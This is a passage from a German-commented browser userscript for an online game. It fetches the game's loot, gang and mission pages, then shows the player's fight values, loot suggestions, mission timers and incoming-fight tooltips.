                                if (datadiv[i].innerHTML.toLowerCase().indexOf(TxtBuyPet[lang].toLowerCase()) != -1) {
                                    if (datadiv[i].innerHTML.indexOf('class="att">') != -1) {
                                        glblVars[3] = datadiv[i].innerHTML.split('class="att">')[1].split(' ')[0];
                                        glblVars[4] = datadiv[i].innerHTML.split('class="def">')[1].split(' ')[0];
                                    } else {
                                        var datalis = datadiv[i].innerHTML.split("<li>");
                                        var attdef = datalis[datalis.length-4].split("<")[0].split(" ")[1];;
                                        glblVars[3] = attdef.split("/")[0];
                                        glblVars[4] = attdef.split("/")[1];
                                    }
                                } else if (datadiv[i].innerHTML.toLowerCase().indexOf(TxtBuyWeapon[lang].toLowerCase()) != -1) {
                                    glblVars[5] = datadiv[i].innerHTML.split('class="att">')[1].split(/<| /)[0];
                                    if (isNaN(glblVars[5]))
                                        glblVars[5] = 0;
                                    glblVars[6] = datadiv[i].innerHTML.split('class="def">')[1].split('</span')[0];
                                    if (isNaN(glblVars[6]))
                                        glblVars[6] = 0;
                                }

                            // **********************************************************************************
                            // *** GM_XMLHTTPREQUEST *** Abrufen der Plunder-Seite, Prüfen, ob besserer Plunder da
                            // **********************************************************************************
                            GM_xmlhttpRequest({method:"GET", url: PLUNDER_URL, onload:function(responseDetails) {
                                    function checkPlunder(doc, plundertable, plunderbox, aktPlunder) {
                                        var pATTval = Math.floor((glblVars[0] + Number(glblVars[3]) + Number(glblVars[5])) * glblVars[7]);
                                        var pDEFval = Math.floor((glblVars[1] + Number(glblVars[4]) + Number(glblVars[6])) * glblVars[8]);
                                        glblVars[9] = aktPlunder;
                                        var bestFightVal = Number(GetPower(pATTval, pDEFval));
                                        var bestPlunder = "";

                                        // Referenz auf Zeilen der Plundertabelle speichern
                                        if (plundertable)
                                            var plundertrs = plundertable.getElementsByTagName("tr");
                                        else
                                            var plundertrs = new Array();

                                        var AktTrikot = 0;
                                        var TrikotAnz = true;
                                        if (PGu_getValue("TrikotanzeigeAus", 0) == 1)
                                            TrikotAnz = false;
                                        var firsti = oldVersion?0:-1;
                                        for (var i = firsti; i < plundertrs.length; i++) {
                                            if (i == firsti)
                                                if (aktPlunder == "")
                                                    continue;
                                                else
                                                    var plunderHTML = plunderbox.innerHTML;
                                            else
                                                var plunderHTML = plundertrs[i].innerHTML;
                                            if (i == firsti)
                                                var plunder = aktPlunder;
                                            else if (oldVersion)
                                                var plunder = plunderHTML.split('change_stuff')[1].split('">')[1].split('</a>')[0];
                                            else
                                                var plunder = plunderHTML.split('<strong')[1].split('>')[1].split('</strong')[0];
                                            plunder = trimString(plunder);
                                            if (plunder.indexOf(TxtTrikot[lang]) != -1 && TrikotAnz) {
                                                var trikot = plunder.split(' ');
                                                var trikotNr = Number(trikot[trikot.length - 1]);
                                                var plunderpic = plunderHTML.split('src="')[1].split('"')[0];
                                                var Anz = 0;
                                                if (i == firsti)
                                                    AktTrikot = trikotNr;
                                                else
                                                    Anz = Number(GetNumberOfPlunder(doc, plunder));
                                                if (trikotNr == AktTrikot)
                                                    Anz += 1;
                                                if (Anz > 1)
                                                    plunder += " (" + Anz + "x)"
                                                for (var k = 0; k < Anz && k <= 4; k++) {
                                                    var curElem = ShowImg ('PDBACK', '', plunderpic, plunder, '', '', (trikotNr-1)*23 - 3, 55 + k*5, 1, 'trikot'+trikotNr+"_"+k);
                                                    if (curElem == null)
                                                        return;
                                                    TrikotAusHandler(curElem);
                                                }
                                            }
                                            if (plunderHTML.indexOf('change_stuff') == -1)
                                                continue;       // nur anlegbaren Plunder beachten
                                            var addATT = 1;
                                            var addDEF = 1;
                                            if (plunderHTML.indexOf('ATT:') != -1) {
                                                var pATTtxt = trimString(plunderHTML.split('ATT:')[1].split('</li>')[0]);
                                                var pATT = pATTtxt.split(' ')[0];
                                                if (pATTtxt.indexOf('%') != -1)
                                                    addATT = 1 + Number(pATTtxt.split('%')[0].split(' ').pop()) / 100;
                                            } else
                                                var pATT = 0;
                                            if (plunderHTML.indexOf('DEF:') != -1) {
                                                var pDEFtxt = trimString(plunderHTML.split('DEF:')[1].split('</li>')[0]);
                                                var pDEF = pDEFtxt.split(' ')[0];
                                                if (pDEFtxt.indexOf('%') != -1)
                                                    addDEF = 1 + Number(pDEFtxt.split('%')[0].split(' ').pop()) / 100;
                                            } else
                                                var pDEF = 0;
                                            if (plunderHTML.indexOf(TxtIncrease[lang]) != -1)
                                                if (plunderHTML.indexOf('%') != -1) {
                                                    var addText = plunderHTML.split(TxtIncrease[lang])[1].split('%')[0];
                                                    var addTextSplit = addText.split(' ');
                                                    var addPerc = addTextSplit[addTextSplit.length-1];
                                                    if (addText.indexOf('ATT') != -1 || addText.indexOf(TxtIncrATT[lang]) != -1)
                                                        if (addATT == 1)
                                                            addATT = 1 + Number(addPerc) / 100;
                                                    if (addText.indexOf('DEF') != -1 || addText.indexOf(TxtIncrDEF[lang]) != -1)
                                                        if (addDEF == 1)
                                                            addDEF = 1 + Number(addPerc) / 100;
                                                }
                                            pATTval = Math.floor((glblVars[0] + Number(glblVars[3]) + Number(glblVars[5]) + Number(pATT)) * glblVars[7] * addATT);
                                            pDEFval = Math.floor((glblVars[1] + Number(glblVars[4]) + Number(glblVars[6]) + Number(pDEF)) * glblVars[8] * addDEF);
                                            var pPower = Number(GetPower(pATTval, pDEFval));
                                            if (bestFightVal < pPower) {
                                                bestFightVal = pPower;
                                                bestPlunder = plunder;
                                                glblVars[10] = plunder;
                                                }
                                            }
                                        if (bestPlunder != aktPlunder && bestPlunder != "") {
                                            plundercheck = printf (getLangTxt(TxtPlunderCheck), bestPlunder);
                                            logoutWarn = 2;
                                            showFightAlert();
                                        }
                                        else
                                            plundercheck = "";
                                        if (logoutWarn < 0)
                                            logoutWarn = 0;

                                        var img = document.getElementById('resetfight');
                                        if (img != undefined)
                                            img.setAttribute('title', img.getAttribute('title') + makeAddInfo());
                                        glblVars[11] = m_ownpoints;
                                        glblVars[12] = m_ownuserid;
                                        scriptData[3] = glblVars;
                                    }
                                    // Aktuellen Plunder ermitteln und anzeigen
                                    var content = responseDetails.responseText;
                                    // Wenn die Seite abgerufen werden konnte (kein Seitenladefehler)
                                    if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                                        // Aus dem Responsetext ein Document machen
                                        var doc = HTML2DOM(content);

                                        var plunderbox = doc.getElementsByClassName(oldVersion?"box special":"box")[0];
                                        var aktPlunder = GetCurrentPlundername(plunderbox);

                                        // Referenz auf Plundertabelle speichern
                                        if (oldVersion) {
                                            checkPlunder(content, doc.getElementsByTagName("table")[0], plunderbox, aktPlunder);
                                        } else {
                                            GM_xmlhttpRequest({method:"GET", url: PLUNDER_URL+'ajax/?c=1', onload:function(responseDetails) {
                                                var content = responseDetails.responseText;
                                                // Aus dem Responsetext ein Document machen
                                                var doc = HTML2DOM(content);
                                                checkPlunder(content, doc.getElementsByTagName("table")[0], plunderbox, aktPlunder);
                                            }});
                                        }
                                    }
                                }
                            });
                        }
                        else
                            noUpdate = true;
                    }});
                }
            });
        }
    });
}

// **********************************************************************************
// **********************************************************************************
// Funktion aktualisiert einen Balken bei mouseover bzw. nach vergangener Zeit
// **********************************************************************************
// **********************************************************************************
var balkData = new Array();
function balkDisp(id, end_time, text, counter, jetzt, maxTime, maxWidth, textsub) {
    function mod (a, b) { return a - Math.floor(a/b)*b; }
    var i = balkData.length;
    var idx = id.substr(6);
    id = id.substr(0, 4);
    balkData[i] = new Array(idx, end_time, text, counter, jetzt, maxTime, maxWidth, id);

    function actTime (e) {
        var target = e.target.id;
        var idx = target.substr(6);
        for (i = 0; i < balkData.length; i++) {
            if (balkData[i][0] == idx) {
                var now = new Date();
                now = Math.floor(now.getTime()/1000);
                var zeitText = "";
                zeitText = FmtInfo(now, balkData[i][1]);
                var text = balkData[i][2].replace("%s", (textsub == ""?zeitText:zeitText.replace(', Ende:', textsub)));
                document.getElementById(target).title = text;
                break;
            }
        }
    }
    if (!document.getElementById(id+'bg'+idx))
        return;
    document.getElementById(id+'bg'+idx).addEventListener('mouseover', actTime, false);
    if (document.getElementById(id+'fg'+idx))
        document.getElementById(id+'fg'+idx).addEventListener('mouseover', actTime, false);

    var actBalk = function () {
        var now = new Date();
        now = Math.floor(now.getTime()/1000);
        var rtime = balkData[balkindx][3] - (now - balkData[balkindx][4]);
        var nwidth = Math.ceil(rtime/balkData[balkindx][5]*balkData[balkindx][6]);
        if (nwidth > 0)
            if (document.getElementById(balkData[balkindx][7] + 'fg' + balkData[balkindx][0]))
                document.getElementById(balkData[balkindx][7] + 'fg' + balkData[balkindx][0]).width = nwidth;
        else {
            refreshPage();
        }
        window.setTimeout(actBalk, nextRun());
    }

    function nextRun () {
        balkindx = 0;
        var now = new Date();
        now = Math.floor(now.getTime()/1000);
        var rtime = balkData[balkindx][3] - (now - balkData[balkindx][4]);
        var nextTime = Math.floor(mod(rtime, balkData[balkindx][5]/balkData[balkindx][6]) * 1000);
        for (var i = 1; i < balkData.length; i++)
            if (Math.floor(mod(rtime, balkData[i][5]/balkData[i][6]) * 1000) < nextTime) {
                nextDecr = Math.floor(mod(rtime, balkData[i][5]/balkData[i][6]) * 1000);
                balkindx = i;
            }
        if (nextTime < 500)
            nextTime = 500;
        return nextTime;
    }

    window.setTimeout(actBalk, nextRun());

}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt die aktuellen Kampfwerte
// **********************************************************************************
// **********************************************************************************
function CheckFightValues(content) {
    // Aus HTML ein DOM-Objekt erzeugen
    var doc = HTML2DOM(content)

    var ft = 0;
    if (doc.getElementsByTagName("table")[0].parentNode.innerHTML.indexOf('highscore/rauferei') != -1)
        ft = 1;
    var table = doc.getElementsByTagName("table")[ft];

    // Referenz auf Tabellenzeilen in trs speichern
    var trs = table.getElementsByTagName("tr");

    var tr = 0;
    if (trs[3].getElementsByClassName("fight_num").length > 0)
        tr = 3;
    if (trs[2].getElementsByClassName("fight_num").length > 0)
        tr = 2;
    if (tr > 0) {
        // Eigenen ATT-Wert ermitteln
        attvalue = Number(trs[tr].getElementsByClassName("fight_num")[0].innerHTML);
        // Eigenen DEF-Wert ermitteln
        defvalue = Number(trs[tr].getElementsByClassName("fight_num")[1].innerHTML);
    }
    else {
        // Eigenen ATT-Wert ermitteln
        attvalue = Number(GetValueFromRow(trs[2]));
        // Eigenen DEF-Wert ermitteln
        defvalue = Number(GetValueFromRow(trs[3]));
    }

    // ATT-Wert um eine eventuell vorhandene ATT-Stärkung (z.B. schwarzes Loch +1, +2, +3) korrigieren
    var ATTBoost = GetATTBoost(table.innerHTML);
    if (ATTBoost > 0) {
        attvalue = attvalue - ATTBoost;
        var brs = content.split("<span><b>" + TxtBoost[lang] + "</b>")[1].split("</span>")[0].split("<br />");
        var attboost = trimString(brs[brs.length-2].replace("<b>","").replace("</b>",""));
        var titletext = "ATT-" + getLangTxt(TxtBoost) + " +" + ATTBoost + ". " + attboost;
        ShowImg ('ADBACK', FIGHT_URL, get_icon("grnbg"), titletext, 39, 40, 0, 12, 1, 'attboost');
        var newlink = document.getElementById("attboost").parentNode.appendChild(document.createElement('div'));
        newlink.id = "attboosth";
        newlink.align = "center";
        newlink.style = 'position:absolute; left:' + (AD_X+1) + 'px; top:' + (AD_Y+20) + 'px; z-index:'+(getZ("ADBACK")+5)+'; color:black; width:39px;font-size:20px;">';
        newlink.innerHTML = '<b>+' + ATTBoost + '</b>';
        newlink.title = titletext;
        cacheBgnds("ADBACK", 'attboosth');
    }

    // DEF-Wert um eine eventuell vorhandene DEF-Stärkung (z.B. Kürbis) korrigieren
    var DEFBoost = GetDEFBoost(table.innerHTML);
    if (DEFBoost > 0) {
        defvalue = defvalue - DEFBoost;
        var brs = content.split("<span><b>" + TxtBoost[lang] + "</b>")[1].split("</span>")[0].split("<br />");
        var defboost = trimString(brs[brs.length-2].replace("<b>","").replace("</b>",""));
        var titletext = "DEF-" + getLangTxt(TxtBoost) + " +" + DEFBoost + ". " + defboost;
        ShowImg ('ADBACK', FIGHT_URL, get_icon("grnbg"), titletext, 39, 40, 42, 12, 1, 'defboost');
        var newlink = document.getElementById("defboost").parentNode.appendChild(document.createElement('div'));
        newlink.id = "defboosth";
        newlink.align = "center";
        newlink.style = 'position:absolute; left:' + (AD_X+44) + 'px; top:' + (AD_Y+20) + 'px; z-index:'+(getZ("ADBACK")+5)+'; color:black; width:39px;font-size:20px;">';
        newlink.innerHTML = '<b>+' + DEFBoost + '</b>';
        newlink.title = titletext;
        cacheBgnds("ADBACK", 'defboosth');
    }

    // ATT-Wert um eine eventuelle Verletzung korrigieren
    var injury = GetInjury(table.innerHTML);
    if (injury < 0) {
        attvalue = attvalue - injury;
        var injboost = content.split("<span><b>" + TxtInjury[lang] + "</b>")[1];
        injboost = injboost.split(TxtATTBoost[lang])[1];
        injboost = trimString(injboost.split("<br />")[2].replace("<b>","").replace("</b>",""));
        var titletext = "ATT-" + getLangTxt(TxtInjury) + " " + injury + ". " + injboost;
        if (ATTBoost > 0) {
            document.getElementById('attboost').setAttribute('height', '19px');
            document.getElementById('attboosth').style.top = (AD_Y+11)+ 'px';
            var height = 20;
        }
        else
            var height = 40;
        ShowImg ('ADBACK', FIGHT_URL, get_icon("redbg"), titletext, 39, height, 0, (height==40?12:32), 1, 'injboost');
        var newlink = document.getElementById("injboost").parentNode.appendChild(document.createElement('div'));
        newlink.id = "injboosth";
        newlink.align = "center";
        newlink.style = 'position:absolute; left:' + (AD_X+1) + 'px; top:' + (AD_Y+(height==40?20:31)) + 'px; z-index:'+(getZ("ADBACK")+5)+'; color:black; width:39px;font-size:20px;">';
        newlink.innerHTML = '<b>' + injury + '</b>';
        newlink.title = titletext;
        cacheBgnds("ADBACK", 'injboosth');
    }

    // DEF-Wert um eine eventuelle Verletzung korrigieren (> 0 wenn DEF-Wert gesenkt)
    injury = GetInjury(table.innerHTML);
    if (injury > 0) {
        defvalue = defvalue + injury;
        var injboost = content.split("<span><b>" + TxtInjury[lang] + "</b>")[1];
        injboost = injboost.split(TxtDEFBoost[lang])[1];
        injboost = trimString(injboost.split("<br />")[2].replace("<b>","").replace("</b>",""));
        var titletext = "DEF-" + getLangTxt(TxtInjury) + " " + injury + ". " + injboost;
        if (DEFBoost > 0) {
            document.getElementById('defboost').setAttribute('height', '19px');
            document.getElementById('defboosth').style.top = (AD_Y+11)+ 'px';
            var height = 20;
        }
        else
            var height = 40;
        ShowImg ('ADBACK', FIGHT_URL, get_icon("redbg"), titletext, 39, height, 42, (height==40?12:32), 1, 'injdboost');
        var newlink = document.getElementById("injdboost").parentNode.appendChild(document.createElement('div'));
        newlink.id = "injdboosth";
        newlink.align = "center";
        newlink.style = 'position:absolute; left:' + (AD_X+44) + 'px; top:' + (AD_Y+(height==40?20:31)) + 'px; z-index:'+(getZ("ADBACK")+5)+'; color:black; width:39px;font-size:20px;">';
        newlink.innerHTML = '<b>-' + injury + '</b>';
        newlink.title = titletext;
        cacheBgnds("ADBACK", 'injdboosth');
    }
    glblVars[16] = attvalue;
    glblVars[17] = defvalue;
    glblVars[18] = GetPower(attvalue, defvalue);

    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** Abrufen der Bandenseite
    // **********************************************************************************
    GM_xmlhttpRequest({method: 'GET', url: GANG_URL,onload: function(gangresponseDetails) {
        // Wenn die Bandenseite abgerufen werden konnte
        if (gangresponseDetails.status == 200 &&
            gangresponseDetails.responseText.indexOf('500 - Internal Server Error') == -1 &&
            gangresponseDetails.responseText.indexOf(KEYWORD_MYBUM[lang]) != -1) {
            var goMission = function(event) {
                if (event.shiftKey != 0) {
                    var misPan = PGu_getValue("ShowMissionPanel", 1);
                    PGu_setValue("ShowMissionPanel", 1 - misPan);
                    refreshPage();
                }
                else
                    window.location.href = MISSION_URL;
            }
            // Content der Bandenseite speichern
            var gangcontent = gangresponseDetails.responseText;
            // Wenn man in einer Bande ist
            //GM_log("gangcontent.indexOf(KEYWORD_INGANG[lang]) == -1: " + gangcontent.indexOf(KEYWORD_INGANG[lang]) == -1);
            if (gangcontent.indexOf(KEYWORD_INGANG[lang]) == -1) {
                GM_log("IN BANDE");
                PGu_setValue("inGang", "1");
                var noGangAbl = gangcontent.indexOf(TxtNoGangAbility[lang]);
                glblVars[13] = -1;
                // Aus HTML ein DOM-Objekt erzeugen
                var doc = HTML2DOM(gangcontent)
                if (PGu_getValue("ShowMissionPanel", 1) == 0) {
                    document.getElementById("MIBACK").addEventListener("click", goMission, false);
                }
                else if (lang == 0) {
                    var trs = doc.getElementsByTagName("tr");
                    if (trs[2].getElementsByTagName("span").length > 0) {
                        var td = trs[2].getElementsByTagName("td")[0];
                        for (var i = 0; i < td.getElementsByTagName("div").length; i++)
                            if (td.getElementsByTagName("div")[i].getElementsByTagName("div").length > 0)
                                if (td.getElementsByTagName("div")[i].getElementsByTagName("div")[0].getElementsByTagName("img").length != 0)
                                    break;
                        var pic = td.getElementsByTagName("div")[i].getElementsByTagName("div")[0].getElementsByTagName("img")[0].getAttribute('src').toString();
                        var boosttxt = td.getElementsByTagName("span")[0].innerHTML.split("<b>")[1].split("<")[0] + " " + td.getElementsByTagName("div")[i].getElementsByTagName("div")[1].getElementsByTagName("span")[0].innerHTML;
                        ShowImg('MIBACK', goMission, pic, boosttxt, '', '', 3, 13, 6, 'gangboost');
                        var counter = Number(td.getElementsByTagName("div")[i].getElementsByTagName("div")[1].getElementsByTagName("span")[1].innerHTML.split("counter(")[1].split(")")[0]);
                        if (counter < 0) {
                            var width = 40;
                            var text = "noch nicht aktiviert";
                        }
                        else {
                            var jetzt = new Date();
                            jetzt = Math.floor(jetzt.getTime()/1000);
                            var end_time = jetzt + Number(counter);
                            var width = Math.ceil(Number(counter) / maxBoostTime * 40);
                            var text = "noch " + FmtInfo(jetzt, end_time);
                        }
                        ShowImg ('MIBACK', goMission, get_icon("plunderb"), text, 40, 5, 1, 45, 2, 'missbg4');
                        if (width > 0)
                            ShowImg ('MIBACK', goMission, get_icon("clean"), text, width, 5, 1, 45, 4, 'missfg4');
                        if (counter >= 0) {
                            balkDisp('missbg4', end_time, "noch %s", counter, jetzt, maxBoostTime, 40, "");
                        }
                    }

                    GM_xmlhttpRequest({method: 'GET', url: MISSION_URL, onload: function(missresponseDetails) {
                        // Wenn die Missionsseite abgerufen werden konnte
                        if (missresponseDetails.status == 200 &&
                            missresponseDetails.responseText.indexOf('500 - Internal Server Error') == -1 &&
                            missresponseDetails.responseText.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                            // Content der Bandenupgradeseite speichern
                            misscontent = missresponseDetails.responseText;
                            var doc = HTML2DOM(misscontent);
                            var table = doc.getElementsByTagName("table");
                            var anzMiss = table.length;
                            if (anzMiss <= 5)
                                var y = 46;
                            else
                                var y = (anzMiss * 8) + 6;
                            var wdhMiss = new Array();
                            var maxwdh = 0;
                            for (i = 0; i < anzMiss; i++) {
                                var td = table[i].getElementsByTagName("tr")[1].getElementsByTagName("td")[1];
                                var wdh = 0;
                                if (td.getElementsByClassName("mission_repeate").length > 0) {
                                    wdh = td.getElementsByClassName("mission_repeate")[0].innerHTML.split(" ");
                                    if (wdh.length <= 5)
                                        wdh = 0;
                                    else if (wdh[5].substr(0,3) == "Tag")
                                        wdh = wdh[4] * 86400;
                                    else if (wdh[5].substr(0, 6) == "Stunde")
                                        wdh = wdh[4] * 3600;
                                    else
                                        wdh = 0;
                                }
                                if (wdh > maxwdh)
                                    maxwdh = wdh;
                                wdhMiss[i] = wdh;
                            }
                            var MissBits = new Array (1,2,4,8,16,32,64);
                            var MissNew = 0;
                            var MissOld = PGu_getValue("MissionBits", 0);
                            for (i = 0; i < anzMiss; i++) {
                                var td = table[i].getElementsByTagName("tr")[1].getElementsByTagName("td")[1];
                                var desc = td.getElementsByClassName("mission_desc")[0].getElementsByTagName("h1")[0].innerHTML;
                                var stages = td.getElementsByClassName("stage_area");
                                var text0 = stages[0].innerHTML;
                                if (text0.indexOf("counter") == -1) {
                                    var waitTime = 0; // keine Wartezeit
                                }
                                else {
                                    var waitTime = text0.split("counter(")[1].split(")")[0];
                                }
                                var wdh = wdhMiss[i];
                                var balken = get_icon("plundera");
                                var text = stages[1].innerHTML;
                                var zeit = 0;
                                var zeitText = "";
                                var textsub = "";
                                var width = 0;
                                if (text.indexOf("mission_stage_done") != -1)
                                    text = "beendet";
                                else if (text.indexOf("bare Zeit") != -1) {
                                    zeit = text.split("bare Zeit: ")[1].split("<")[0].split(" ");
                                    zeit = zeit[0] * 3600;
                                    for (j = 0; j < missions.length; j++)
                                        if (missions[j] == desc) {
                                            break;
                                        }
                                    if (j == missions.length)
                                        PG_setValue(desc + "dauer", zeit);
                                    if (waitTime == 0 && text0.indexOf("mission_stage_done") == -1)
                                        zeit = -1;
                                }
                                else if (waitTime == 0 && text0.indexOf("mission_stage_done") == -1)
                                    zeit = -1;
                                else if (text.indexOf("bende Zeit") != -1) {
                                    waitTime = text.split("counter(")[1].split(")")[0];
                                    balken = get_icon("clean");
                                    var proceed = stages[1].getElementsByClassName("job_progress_amount")[0].innerHTML;
                                    for (j = 0; j < missions.length; j++)
                                        if (missions[j] == desc) {
                                            wdh = missDauer[j];
                                            break;
                                        }
                                    if (wdh == 0)
                                        wdh = PG_getValue(desc + "dauer", waitTime);
                                }
                                var width = 0;
                                if (zeit > 0 && waitTime == 0) {
                                    text = "kann gestartet werden";
                                    balken = get_icon("clean");
                                    width = 40;
                                    MissNew |= MissBits[i];
                                }
                                else if (zeit < 0) {
                                    var fehl = text0.split("mission_item_notready");
                                    if (fehl.length > 1) {
                                        if (fehl[1].indexOf("sprite_icons") != -1)
                                            text = "Geld" + (fehl.length > 2?" und Plunder":"")
                                        else
                                            text = "Plunder";
                                        text += " fehlt";
                                    }
                                }
                                else if (waitTime > 0) {
                                    var jetzt = new Date();
                                    jetzt = Math.floor(jetzt.getTime()/1000);
                                    var end_time = jetzt + Number(waitTime);
                                    var width = Math.ceil(waitTime / 86400 * 24);
                                    zeitText = FmtInfo(jetzt, end_time);
                                    if (waitTime >= 86400)
                                        width = Math.ceil((waitTime - 86400) / (maxwdh - 86400) * 16) + 24;
                                    if (balken == get_icon("plundera")) {
                                        text = "noch %s";
                                        textsub = " warten, Start am:";
                                    }
                                    else {
                                        text = "läuft (" + proceed + "), noch %s";
                                    }
                                }
                                text = desc + ": " + text;
                                var balkText = text.replace('%s', (textsub == ""?zeitText:zeitText.replace(', Ende:', textsub)));
                                ShowImg ('MIBACK', goMission, get_icon("plunderb"), balkText, 40, 5, 44, y, 2, 'missbg'+(i+5));
                                if (width > 0) {
                                    ShowImg ('MIBACK', goMission, balken, balkText, width, 5, 44, y, 4, 'missfg'+(i+5));
                                    balkDisp('missbg'+(i+5), end_time, text, waitTime, jetzt, maxwdh, 40, textsub);
                                }
                                y -= 8;
                            }
                            if (~MissOld & MissNew && MissionAlert == 1)
                                alert ("Es kann eine Mission gestartet werden.");
                            if (MissOld != MissNew)
                                PGu_setValue("MissionBits", MissNew);
                        }
                    }});
                }

                if (oldVersion) {
                    var WutActive = gangupgcontent.indexOf(TxtAbility1[lang]) != -1;
                    var attWut = 4;
                }
                else  {
                    var table2 = doc.getElementsByTagName("table")[0];
                    var trs2 = table2.getElementsByTagName("tr");
                    var tds = trs2[2].getElementsByTagName("td");
                    var ATTtxt = gangupgcontent.split("ATT<br")[0].substr(-10);
                    var ATTpos = ATTtxt.indexOf('+');
                    var attWut = parseInt(ATTtxt.substr(ATTpos));
                    var WutActive = tds[0].innerHTML.indexOf("<strong>") != -1;
                    if (WutActive) {
                        var counter = tds[0].innerHTML.split("counter(")[1].split(")")[0];
                        var jetzt = Math.floor(now.getTime()/1000);
                        var WutEnde = FmtInfo(0, jetzt + Number(counter));
                        WutDatum = WutEnde.substr(WutEnde.indexOf(":") + 2);
                    }
                }

                glblVars[13] = 0;
                glblVars[14] = "";
                if (WutActive) {
                    glblVars[13] = 2;
                    // Korrigieren der ATT-Summe um 4 bzw. 5 ATT-Punkte
                    if (WiWut == 1) {
                        glblVars[13] = 1;
                        if (noGangAbl == -1)
                            attvalue = attvalue - attWut;
                        // **********************************************************************************
                        // Text auf Kampfseite einblenden, wenn Wut aktiv ist
                        // **********************************************************************************
                        // Wenn die aktuelle Seite die Kampfseite ist und kein Counter in der ersten Zeile
                        if (IsFightPage() && document.getElementById("content").getElementsByTagName("table")[0].getElementsByTagName("tr")[0].innerHTML.indexOf("counter") == -1) {
                            var table2 = doc.getElementsByTagName("table")[0];
                            var trs2 = table2.getElementsByTagName("tr");
                            var newtr = trs2[2].cloneNode(true);
                            if (newtr.getElementsByTagName("span").length > 0) {
                                var tds = newtr.getElementsByTagName("span");
                                tds[0].parentNode.removeChild(tds[0]);
                                tds = newtr.getElementsByTagName("div");
                                tds[2].parentNode.removeChild(tds[2]);
                            }
                            newtr.getElementsByTagName("td")[0].setAttribute('colspan', 2);
                            if (!oldVersion) {
                                var td = newtr.getElementsByTagName("script");
                                td[0].parentNode.removeChild(td[0]);
                                var jetzt = new Date();
                                jetzt = Math.floor(jetzt.getTime()/1000);
                                var end_time = jetzt + Number(counter);
                                newtr.getElementsByTagName("td")[0].innerHTML = newtr.getElementsByTagName("td")[0].innerHTML.replace("()", FmtInfo(0, end_time).substr(1));
                            }
                            table2 = document.getElementById("content").getElementsByTagName("table")[0];
                            trs2 = table2.getElementsByTagName("tr");
                            trs2[1].parentNode.insertBefore(newtr, trs2[1]);
                        }
                    }

                    if (oldVersion) {
                        wuttext = gangupgcontent.split(TxtAbility2[lang])[1];
                        WutDatum = wuttext.substr(8,2) + getLangTxt(DS) + wuttext.substr(5,2) + getLangTxt(DS) + wuttext.substr(0,4) + wuttext.substr(10,9);
                    }

                    glblVars[14] = WutDatum;
                    if (noGangAbl != -1) {
                        WutDatum += " (" + getLangTxt(TxtNoProfAbility) + ")";
                        // WiWu- bzw. Wutstatus speichern
                        PGu_setValue("WutActive", WUTSTATE_INACTIVE);
                        }
                    else
                        // WiWu- bzw. Wutstatus speichern
                        PGu_setValue("WutActive", WUTSTATE_ACTIVE);
                    ShowWutIcon(PGu_getValue("WutActive", WUTSTATE_ERROR));

                // sonst: WiWu bzw. Wut ist nicht gestartet
                } else {
                    // WiWu- bzw. Wutstatus speichern
                    PGu_setValue("WutActive", WUTSTATE_INACTIVE);
                }
                ShowWutIcon(PGu_getValue("WutActive", WUTSTATE_ERROR));

                // Vergleich der aktuellen Stärke mit der Max-Stärke
                ComparePower(attvalue, defvalue, promille);
                GetAllValues(attvalue, defvalue);
            // sonst: Bandenseite konnte nicht geladen werden
            } else {
                GM_log("NICHT IN BANDE");

                // WiWu- bzw. Wutstatus speichern (keine Wut)
                PGu_setValue("WutActive", WUTSTATE_INACTIVE);

                glblVars[7] = 1.0;
                glblVars[8] = 1.0;
                // Anzeige des WiWu- bzw. Wut-Status
                ShowWutIcon(PGu_getValue("WutActive", WUTSTATE_ERROR));

                // Vergleich der aktuellen Stärke mit der Max-Stärke
                ComparePower(attvalue, defvalue, promille);
                GetAllValues(attvalue, defvalue);
            }
        } else {
            // Powerwerte können nicht richtig berechnet werden
            ShowFightStateIcon(FIGHTSTATE_ERROR, 0);
            glblVars[7] = 1.0;
            glblVars[8] = 1.0;
            noUpdate = true;
            // Anzeige des WiWu- bzw. Wut-Status
            ShowWutIcon(WUTSTATE_ERROR);
        }

    }});
}

// **********************************************************************************
// **********************************************************************************
// lädt eine Seite neu
// **********************************************************************************
// **********************************************************************************
function refreshPage() {
    var page = location.toString();
    if (page.endsWith("activities/bottle/"))
        page = page.substr(0, page.length-7);
    else if (page.endsWith("/buy/"))
        page = page.substr(0, page.length-4);
    else if (page.endsWith("/speed/"))
        page = page.substr(0, page.length-6);
    else if (page.endsWith("/success/"))
        page = page.substr(0, page.length-8);
    else if (page.endsWith("/#"))
        page = page.substr(0, page.length-1);

    window.location.href = page;
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt das Bandenkampf-Icon an
// **********************************************************************************
// **********************************************************************************
function ShowGangFightIcon(GangFightIcon, GangfightTitle) {
    ShowImg('GFBACK', '/gang/fight/', get_icon("gangfight")[GangFightIcon], GangfightTitle, ICON_WIDTH, ICON_WIDTH, 10, 15, 6, 'gangfight');
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt das Neu-Icon an
// **********************************************************************************
// **********************************************************************************
function ShowNewIcon() {
    ShowImg('GFBACK', '/gang/fight/', get_icon("new"), '', '', '', 30, 12, 7, 'gangfightnew');
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt das Kampf-Icon und die eintreffenden Kämpfe als Tooltip an
// **********************************************************************************
// **********************************************************************************
function ShowFightIcon(FightIcon, FightTitle) {
    var FT = null;
    var width = 400;
    function updateFT(e) {
        if (FT != null && FT.style.display == 'block') {
            x = (e.pageX ? e.pageX : window.event.x) + FT.offsetParent.scrollLeft - FT.offsetParent.offsetLeft;
            y = (e.pageY ? e.pageY : window.event.y) + FT.offsetParent.scrollTop - FT.offsetParent.offsetTop;
            FT.style.left = x + (FB_X<width-30?0:20-width) + "px";
            FT.style.top  = (y + 20) + "px";
        }
    }
    function showFT(id) {
        FT = document.getElementById(id);
        if (FT)
            FT.style.display = "block";
    }
    function mouseOverShow() {
        showFT("fightTT");
    }
    function hideFT () {
        if (!FT)
            return;
        FT.style.display = "none";
        FT = null;
    }

    var tooltip = new Array();
    if (FightTitle != "") {
        tooltip[0] = 'id="fightTT" style="width:'+width+'px;background-color: #505050; font-size:10px; position:absolute; display:none; z-index:'+(getZ("FBBACK")+5)+'"';
        tooltip[1] = '<table><colgroup><col width="'+width/10*6+'" /><col width="'+width/40+'" /><col width="'+width/8*3+'" /></colgroup>' + FightTitle + '</table>';
    }
